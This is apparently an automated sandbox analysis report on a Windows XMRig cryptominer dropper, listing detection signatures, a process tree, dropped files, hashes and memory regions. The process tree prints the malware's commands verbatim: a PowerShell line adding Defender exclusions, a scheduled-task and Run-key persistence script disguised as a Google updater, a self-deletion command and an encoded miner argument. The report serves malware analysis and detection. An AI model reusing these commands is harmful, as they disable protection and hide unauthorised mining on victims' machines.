Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    341s
  • max time network
    1788s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 24 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1260
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2640
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2600
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1664
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:676
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1180
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:1516
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:2868
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2572
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2100
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:1240
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {7DE55AE3-9FE6-4D74-8204-2BA9E605BE85} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2928
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2904

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 222KB
              • SHA256 394cc9ffa7cbe0343acda056dbbd8789625c179b0e7ae725b4c3565c0a9dfdc3
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 116KB
              • SHA256 0aea76b638bd0b409dca3af8b6451eeea918c71ad03f4b5a4e80656cbe29daab
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 645ae55e5528dc66b910b0f5cfaaa3b46f74cac5f73cea51b0138480d636f7cd
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 317KB
              • SHA256 bc8a5e4b76075e5b66254061279ceeb20195f287b901f247181148c2cbfffb20
              • MD5 SHA1 SHA512 SSDEEP

              memory/1072-0-0x000000013F700000-0x000000013F911000-memory.dmp

              memory/1072-28-0x000000013F700000-0x000000013F911000-memory.dmp

              memory/1664-54-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/1664-53-0x0000000001190000-0x0000000001210000-memory.dmp

              memory/1664-56-0x0000000001190000-0x0000000001210000-memory.dmp

              memory/1664-52-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/1664-55-0x0000000001190000-0x0000000001210000-memory.dmp

              memory/1664-57-0x0000000001190000-0x0000000001210000-memory.dmp

              memory/1664-58-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2040-48-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2040-49-0x000000000114B000-0x00000000011B2000-memory.dmp

              memory/2040-51-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2040-50-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/2040-47-0x0000000001140000-0x00000000011C0000-memory.dmp

              memory/2040-46-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-115-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-113-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-111-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-78-0x0000000000760000-0x0000000000780000-memory.dmp

              memory/2100-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

              memory/2100-66-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-68-0x0000000000760000-0x0000000000780000-memory.dmp

              memory/2100-69-0x0000000000BE0000-0x0000000000C00000-memory.dmp

              memory/2100-79-0x0000000000BE0000-0x0000000000C00000-memory.dmp

              memory/2100-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-73-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2100-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2280-20-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2280-26-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2280-25-0x0000000002480000-0x0000000002500000-memory.dmp

              memory/2280-24-0x0000000002480000-0x0000000002500000-memory.dmp

              memory/2280-23-0x000007FEF4E40000-0x000007FEF57DD000-memory.dmp

              memory/2280-19-0x000000001B190000-0x000000001B472000-memory.dmp

              memory/2280-22-0x0000000002350000-0x0000000002358000-memory.dmp

              memory/2280-21-0x0000000002480000-0x0000000002500000-memory.dmp

              memory/2392-5-0x000000001B150000-0x000000001B432000-memory.dmp

              memory/2392-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2392-12-0x00000000026F0000-0x0000000002770000-memory.dmp

              memory/2392-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

              memory/2392-13-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2392-10-0x00000000026F0000-0x0000000002770000-memory.dmp

              memory/2392-11-0x00000000026F0000-0x0000000002770000-memory.dmp

              memory/2392-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2392-8-0x00000000026F0000-0x0000000002770000-memory.dmp

              memory/2572-74-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2572-70-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/2600-36-0x0000000002250000-0x00000000022D0000-memory.dmp

              memory/2600-44-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2600-35-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2600-37-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

              memory/2600-38-0x0000000002250000-0x00000000022D0000-memory.dmp

              memory/2600-40-0x0000000002250000-0x00000000022D0000-memory.dmp

              memory/2600-39-0x0000000002250000-0x00000000022D0000-memory.dmp

              memory/2904-65-0x000000013FD40000-0x000000013FF51000-memory.dmp

              memory/2904-45-0x000000013FD40000-0x000000013FF51000-memory.dmp